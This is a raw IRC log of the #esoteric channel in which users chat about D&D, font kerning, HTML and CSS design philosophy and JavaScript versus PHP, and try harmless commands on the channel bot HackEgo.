:MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394448474 368967 :EgoBot!dlopen@libdl.so QUIT :Remote host closed the connection < 1394448520 494969 :EgoBot!dlopen@libdl.so JOIN :#esoteric < 1394449526 612879 :boily!~boily@96.127.201.149 QUIT :Quit: Poulet! < 1394449879 266113 :Slereahphone_!~slereahph@80.10.161.174 JOIN :#esoteric < 1394449897 245809 :Slereahphone!~slereahph@80.10.159.108 QUIT :Ping timeout: 240 seconds < 1394449907 154321 :Slereahphone_!~slereahph@80.10.161.174 NICK :Slereahphone < 1394450307 100696 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :In the D&D game I'm playing, my pacifist cleric lost an arm in a teleporter accident < 1394450342 216045 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :And has a superweapon on his chest < 1394450958 128740 :Slereahphone!~slereahph@80.10.161.174 QUIT :Remote host closed the connection < 1394450983 190120 :Slereahphone!~slereahph@80.10.161.174 JOIN :#esoteric < 1394451138 763757 :Slereahphone!~slereahph@80.10.161.174 QUIT :Remote host closed the connection < 1394451157 122504 :Slereahphone!~slereahph@80.10.161.174 JOIN :#esoteric < 1394451228 512172 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can you fix the arm? < 1394451237 230834 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Otherwise, too bad, you have to be more careful next time < 1394451515 505420 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Taneb: regenerate the arm with a regeneration spell < 1394451532 37534 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :that's why you're a cleric < 1394451551 976465 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :regenerate's really high level, though < 1394451558 656754 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yeah, I'm slightly level 2 < 1394451606 804664 :Slereahphone!~slereahph@80.10.161.174 QUIT :Remote host closed the connection < 1394451658 369501 :Slereahphone!~slereahph@80.10.161.174 JOIN :#esoteric < 1394452528 400958 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394453189 72937 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394453804 961309 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394453911 294992 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394453977 637042 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :hmm yeah, that spell has spell level 7. I thought it was lower. < 1394453994 50639 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I knew it was higher than you'd think it would be < 1394454001 674205 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :probably so that missing limbs can be a real threat to the PCs < 1394454660 652908 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394455622 967280 :Slereahphone!~slereahph@80.10.161.174 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394455818 348530 :Slereahphone!~slereahph@80.10.161.174 JOIN :#esoteric < 1394456003 540385 :Slereahphone!~slereahph@80.10.161.174 QUIT :Client Quit < 1394456033 79106 :Slereahphone!~slereahph@80.10.161.174 JOIN :#esoteric < 1394457001 965542 :Slereahphone!~slereahph@80.10.161.174 QUIT :Remote host closed the connection < 1394457074 594608 :Slereahphone!~slereahph@80.10.161.174 JOIN :#esoteric < 1394458178 336488 :aergus!~aergus@88.228.117.4 QUIT :Ping timeout: 240 seconds < 1394458637 882470 :Tod-Autojoined!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1394458705 375641 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 240 seconds < 1394458880 985343 :Tod-Autojoined!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1394459563 322014 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394460339 477981 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394460343 563563 :Sorella_!~queen@201.80.214.167 JOIN :#esoteric < 1394460378 85014 :Sorella!~queen@oftn/member/Sorella QUIT :Max SendQ exceeded < 1394460464 563936 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394461680 518453 :Slereahphone!~slereahph@80.10.161.174 QUIT :Quit: Colloquy for iPhone - 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http://colloquy.mobi < 1394469575 183031 :Slereahphone!~slereahph@80.10.161.174 JOIN :#esoteric < 1394469820 572824 :Chamakita-moreno!~chamakita@201.242.155.108 PRIVMSG #esoteric :hol sorella como estas cuantos os tienes < 1394469854 597917 :Sorella!~queen@oftn/member/Sorella PRIVMSG #esoteric :Chamakita-moreno, ah, sorry, I don't speak Spanish :( < 1394469893 71803 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't speak Spanish either :-( < 1394470040 389382 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`bienvenido Chamakita-moreno < 1394470041 258324 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Chamakita-moreno: ¡Bienvenido al centro internacional para el diseño y despliegue de lenguajes de programación esotéricos! Por desgracia, la mayoría de nosotros no hablamos español. Para obtener más información, echa un vistazo a nuestro wiki: http://esolangs.org/. (Para el otro tipo de esoterismo, prueba #esoteric en irc.dal.net.) < 1394470052 580527 :ion!ion@heh.fi PRIVMSG #esoteric :`rienvenido < 1394470053 100407 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rienvenido: not found < 1394470084 644072 :ion!ion@heh.fi PRIVMSG #esoteric :HackEgo should have method_missing < 1394470100 64487 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394470105 404049 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :that would be such a disaster in this channel < 1394470142 837356 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1394470143 22625 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Client Quit < 1394470158 452304 :Tritonio!~Thunderbi@athedsl-19859.home.otenet.gr JOIN :#esoteric < 1394470189 850285 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh wow, I forgot we had a Spanish version of welcome < 1394470201 596088 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess the stupid welcome variants are in fact useful < 1394470330 766855 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394470547 163288 :ion!ion@heh.fi PRIVMSG #esoteric :`stelcome < 1394470547 655026 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: stelcome: not found < 1394470615 687437 :Chamakita-moreno!~chamakita@201.242.155.108 QUIT :Quit: Saliendo < 1394470639 244629 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ion: is your idea to look for all unknown commands starting with "r", then rainbow-ing the output of a command that's equal apart from the first letter? < 1394470854 548583 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Kakeya_set < 1394470869 77738 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i like just how utterly mad this whole field of investigation is < 1394471195 130075 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394471489 327062 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 240 seconds < 1394471766 943642 :AnotherTest!~turingcom@94-224-29-17.access.telenet.be JOIN :#esoteric < 1394472637 200450 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394473441 302219 :Slereahphone!~slereahph@80.10.161.174 QUIT :Remote host closed the connection < 1394473523 732570 :Slereahphone!~slereahph@80.10.161.174 JOIN :#esoteric < 1394474173 632187 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I wonder what kind of computation you can do using the state machines from http://www.whatwg.org/specs/web-apps/current-work/multipage/tokenization.html and http://www.whatwg.org/specs/web-apps/current-work/multipage/tree-construction.html < 1394474213 817867 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :kmc: is that the "how to interpret broken HTML in HTML5" rules? < 1394474241 196336 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I mean, it's the HTML5 syntax spec < 1394474249 83001 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which precisely specifies behavior for all input, broken or not < 1394474255 843878 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :right < 1394474267 235616 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but the handling broken input is why they're so complex < 1394474282 303638 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and does so based on not really a formal grammar or anything but a reverse engineering of a bunch of browsers < 1394474293 802615 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes < 1394474305 347752 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well, you wouldn't need to reverse-engineer the open source ones < 1394474307 869181 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you could just read the code < 1394474359 373883 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :understanding a huge hairy codebase usually involves a lot of reverse engineering even if you have the source < 1394474649 256915 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394475568 112382 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: bai < 1394475607 753097 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394475833 125004 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 265 seconds < 1394476664 99715 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394476681 898664 :aergus!~aergus@88.228.117.4 QUIT :Quit: Leaving < 1394476694 955844 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394476838 390896 :Slereahphone_!~slereahph@193.253.170.244 JOIN :#esoteric < 1394476898 590953 :Slereahphone!~slereahph@80.10.161.174 QUIT :Ping timeout: 252 seconds < 1394476901 48799 :Slereahphone_!~slereahph@193.253.170.244 NICK :Slereahphone < 1394477163 817819 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : `rienvenido <-- alas, `bienvenido is so long by itself that there's no room for extra colors < 1394477181 33227 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :had to shorten the wiki url to even get what's there to fit < 1394477393 496552 :AnotherTest!~turingcom@94-224-29-17.access.telenet.be QUIT :Read error: Connection reset by peer < 1394477484 298868 :AnotherTest!~turingcom@94-224-29-17.access.telenet.be JOIN :#esoteric < 1394477577 298633 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :http://www.reddit.com/r/math/comments/1zz1i5/are_imaginary_and_complex_numbers_used_outside_of/ hahaha wow < 1394477615 308640 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Oh actually < 1394477641 828575 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :oerjan, is there some kind of structure that has the same relationship with the higher-dimensional homotopy groups as covering spaces do with the fundamental group? < 1394477817 170800 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :Remote host closed the connection < 1394478021 862341 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :huh < 1394478048 443078 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sadly i know next to nothing about higher-dimensional homotopy groups. < 1394478719 918165 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I'm having to decide between living in a small bedroom in a nice location next year, or a larger bedroom in a much worse location < 1394478748 196586 :Slereahphone_!~slereahph@193.253.170.210 JOIN :#esoteric < 1394478754 246804 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i met some people from york the other day < 1394478773 562549 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :we almost beat their B team at underwater hockey but they won in the playoffs and we came last :( < 1394478795 739615 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Did you ask them to say hi to me < 1394478808 117657 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :underwater hockey < 1394478814 59039 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :kmc, it's a thing! < 1394478838 370221 :Slereahphone!~slereahph@193.253.170.244 QUIT :Ping timeout: 240 seconds < 1394478838 831707 :Slereahphone_!~slereahph@193.253.170.210 NICK :Slereahphone < 1394478839 522435 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i attempted to establish if anyone knew a guy called van doorn < 1394478854 144290 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :(they do sports, probably not) < 1394478864 596526 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what about van doom < 1394478868 829548 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i think i found someone who was in first year and doing maths and/or CS and told them to say hi or something but this was at the afterparty and they may well have forgotten < 1394478881 245685 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :How long ago was this < 1394478923 994768 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :night before last < 1394478941 993597 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Well, I have attended a grand total of 2 lectures since then < 1394478946 550930 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Neither of which were maths < 1394479038 769025 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i think the latest iwc rerun annotation reveals the _real_ reason why the nazis invaded norway. < 1394479053 796060 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I haven't been keeping up with it :( < 1394479066 720485 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :kmc: gah, I guess one advantage of fixed-width fonts is that you can easily distinguish overkerning from actually separate letters < 1394479146 761756 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::) < 1394479198 658175 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"keming" :-) < 1394479207 262988 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I've started noticing markings (e.g. painted or embossed on streets) that use variable-width characters but with non-overlapping rectangular bounding boxes < 1394479213 923078 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which produces really bad kerning in some cases < 1394479240 939148 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the people who label streets here also misspell the names quite often < 1394479255 901145 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Keming Highway < 1394479335 639181 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :kmc: that's basically the absence of kerning, right? < 1394479353 529088 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :something that caught my attention in an unkerned font recently was "W/", that looks ugly without kerning < 1394479404 732660 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :yeah W is a big offender < 1394479462 599095 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"To" is nasty because it looks ugly no matter how it's kerned < 1394479703 392063 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :/nick krnc < 1394479754 241906 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :kr is pretty badly kerned in the font i'm looking at < 1394479865 254243 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :how can you screw up kerning "kr"? "r" has a flat edge that the edge of "k" doesn't extend above < 1394479885 962084 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ais523: yeah I guess < 1394480028 844453 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Chrome / WebKit / Blink / whatever has bad kerning < 1394480039 357988 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :try data:text/html,AWAKE in Chrome vs Firefox < 1394480097 495593 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Firefox's is slightly too tight, but Chrome's is much too loose < 1394480126 750070 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in theory this can be controlled using https://developer.mozilla.org/en-US/docs/Web/CSS/text-rendering but I'm not seeing a difference in either browser < 1394480153 171179 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :On this system, the overall rendering of W in Chromium seems messier than in Firefox too. < 1394480183 754176 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Different fonts, perhaps. < 1394480226 681041 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Servo also has bad (no?) kerning ;P < 1394480525 19212 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :IMO it's kind-of sad that browsers have to do their own font rendering < 1394480530 344901 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but I guess it's inevitable < 1394480556 756240 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I preferred it back when HTML was just for semantics and the browser decided the presentation < 1394480559 593268 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :none of this CSS stuff < 1394480607 400705 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that was never actually how people used HTML < 1394480607 623502 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :why shouldn't it be the user who gets to decide what a web page looks like, rather than having to rely on the site itself < 1394480615 830008 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :because content authors care about presentation < 1394480633 389544 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i've been occasionally fantasizing how a web for an interplanetary civilization (with ftl communication) with aliens of different species would work. < 1394480638 262249 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :well originally you /couldn't/ use any other way, except for using nbsps for alignment < 1394480648 891409 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and then people started abusing table widths < 1394480656 370163 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :kmc: not true, http://info.cern.ch/hypertext/WWW/TheProject.html is semantic as heck < 1394480661 266156 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it would make _no_ sense to have the same style for everyone then. < 1394480673 650248 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oerjan: body { writing-mode: heptapod-b; } < 1394480683 81755 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, browser default stylesheets would be /so/ much better in this world < 1394480697 743569 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: why don't users typeset their own books and design the posters they see < 1394480711 558270 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and lay out their own UIs < 1394480733 540943 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :why don't painters just write descriptions like "some fruit on a table" and then if you want to look at it you paint it yourself however you like < 1394480739 63917 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :answer: because these are all tasks that (a) most people are awful at, (b) are highly tailored to the specific nature of the underlying content, which is not entirely separable from the format it is placed within < 1394480747 390757 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: I'm probably the wrong person to ask, "why can't I retypeset this manual" is one of my major gripes with most documentation < 1394480751 82210 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and if I had time I'd write a program to do it < 1394480772 644588 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but the point is to have centralized styling and the like < 1394480776 374345 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :designed by some expert at Mozilla < 1394480787 321508 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or whoever provides the browser < 1394480795 530055 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the user could override it but there'd mostly be no reason to < 1394480818 141922 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :for months, I set my web browser to override all colors < 1394480832 569569 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I agree you're the wrong person to ask < 1394480834 207063 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :for text/background, at least < 1394480835 360624 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and see (b) < 1394480850 850308 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :although I stopped because it turned out that too many websites were hardcoding the background of text fields to white < 1394480858 963621 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I mean we could also fire all the typographers and designers and have every single thing we see look exactly the same < 1394480860 600771 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or approximately-but-not-exactly white colors < 1394480863 169179 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and the override didn't work < 1394480866 986222 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and lose all kinds of information encoded in design < 1394480874 317426 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you know, if you wanted, for principles < 1394480890 524940 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://www.lootcorp.com/wp-content/uploads/2008/06/generic-beer.jpg < 1394480907 526286 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: and you'd end up making the Web better on average, although worse at maximum < 1394480933 917520 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, there's a good chance the whole webapp thing would never have taken off, which would probably have been for the best < 1394480939 387882 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :no it would still be shit < 1394480948 541298 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :as people would be writing applications in a language that was actually vaguely suited for it < 1394480988 685338 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394481001 775828 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :I.e. flash or java applets? < 1394481033 112476 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Java actually had the right idea, its problems are mostly that the implementation is mindboggingly awful < 1394481036 767572 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :flash's scripting language is very close to javascript... < 1394481075 800176 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :JS isn't that bad, really... you have to build the abstractions yourself (Lambda the Ultimate!) but people manage to do so successfully < 1394481089 893445 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ActionScript is basically JavaScript with a more Java-like OO model < 1394481111 422407 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there's a key difference between JS as a bad language and PHP as a bad language (besides PHP being much worse) < 1394481129 410317 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which is that anybody with a clue just stops using PHP < 1394481153 362145 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :whereas a lot of people are more or less forced to use JS so they work out ways to make it tolerable < 1394481167 73154 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and also the language designers and implementors know what they're doing < 1394481171 916398 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1394481172 424861 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394481186 558872 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :even if the initial conception was... flawed < 1394481217 341181 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the main problem with JS is that it was designed in entirely too little time < 1394481272 351873 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :like, Eich could probaby have done a better job if he didn't need to get it working in, like, a week < 1394481274 412747 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or whatever it was < 1394481395 86969 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think the only reason it uses function scope rather than lexical scope is that that was faster to implement < 1394481500 51481 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394482393 340828 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric : whereas a lot of people are more or less forced to use JS so they work out ways to make it tolerable < 1394482401 606527 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com PRIVMSG #esoteric :it was pretty good for a 1995 language though < 1394482410 306073 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :were people not more or less forced to use php, especially back in the early oughties? < 1394482424 87717 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Phantom_Hoover: before VPSes existed, yes < 1394482450 246703 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`^_^v: the designers of JS knew what they were doing, just didn't get a chance to actually do it < 1394482450 719418 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ^_^v:: not found < 1394482475 675736 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quick, someone write a '^_^v:' HackEgo command that does something really obnoxious < 1394482488 37579 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and a '^_^v,' command that mocks Vorpal < 1394482494 190935 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :for using commas in nickpings < 1394482557 324287 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :hey, i use commas in nickpings! < 1394482573 952412 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Phantom_Hoover: hey isn't online < 1394482585 640681 :Guest80165!dlopen@libdl.so NICK :Gregor < 1394482589 153492 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and hasn't been for 47 weeks < 1394482708 569696 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Gregor: is there some way to goad HackEgo into giving no output for a command? < 1394482753 457662 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com PRIVMSG #esoteric :`echo "foo" > /dev/null < 1394482753 942230 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​"foo" > /dev/null < 1394482781 992370 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :`` echo foo > /dev/null < 1394482782 481530 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394482790 593139 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`^_^v: please give up already if you don't even understand the question _or_ how HackEgo works. < 1394482791 132215 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ^_^v:: not found < 1394482793 383404 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think there's a difference between no output and "No output." < 1394482797 957683 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes. < 1394482826 625527 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also don't tell me Gregor just changed his nick but is _still_ idle. < 1394482840 409353 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :is there some convoluted way to get it stuck on a spam filter? < 1394482847 879532 :Gregor!dlopen@libdl.so PRIVMSG #esoteric :There is presently no way of goading HackEgo into giving no output whatsoever. < 1394482854 433228 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh no < 1394482878 762838 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`true < 1394482879 442322 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394482879 644469 :Gregor!dlopen@libdl.so PRIVMSG #esoteric :It lives by the philosophy that one line of input (command) equals one line of output. < 1394482880 815310 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :what about using it from a channel whose name is almost 510 characters long? < 1394482888 750795 :Gregor!dlopen@libdl.so PRIVMSG #esoteric :lol < 1394482890 8493 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you have to think outside the box here, people! < 1394482931 521134 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` echo " " < 1394482932 40943 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394482936 116416 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION slaps ais523 with a reversed X/Y problem < 1394482937 313718 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :weak! < 1394482946 873269 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: using it from PM has much the same effect, it seems < 1394482951 28256 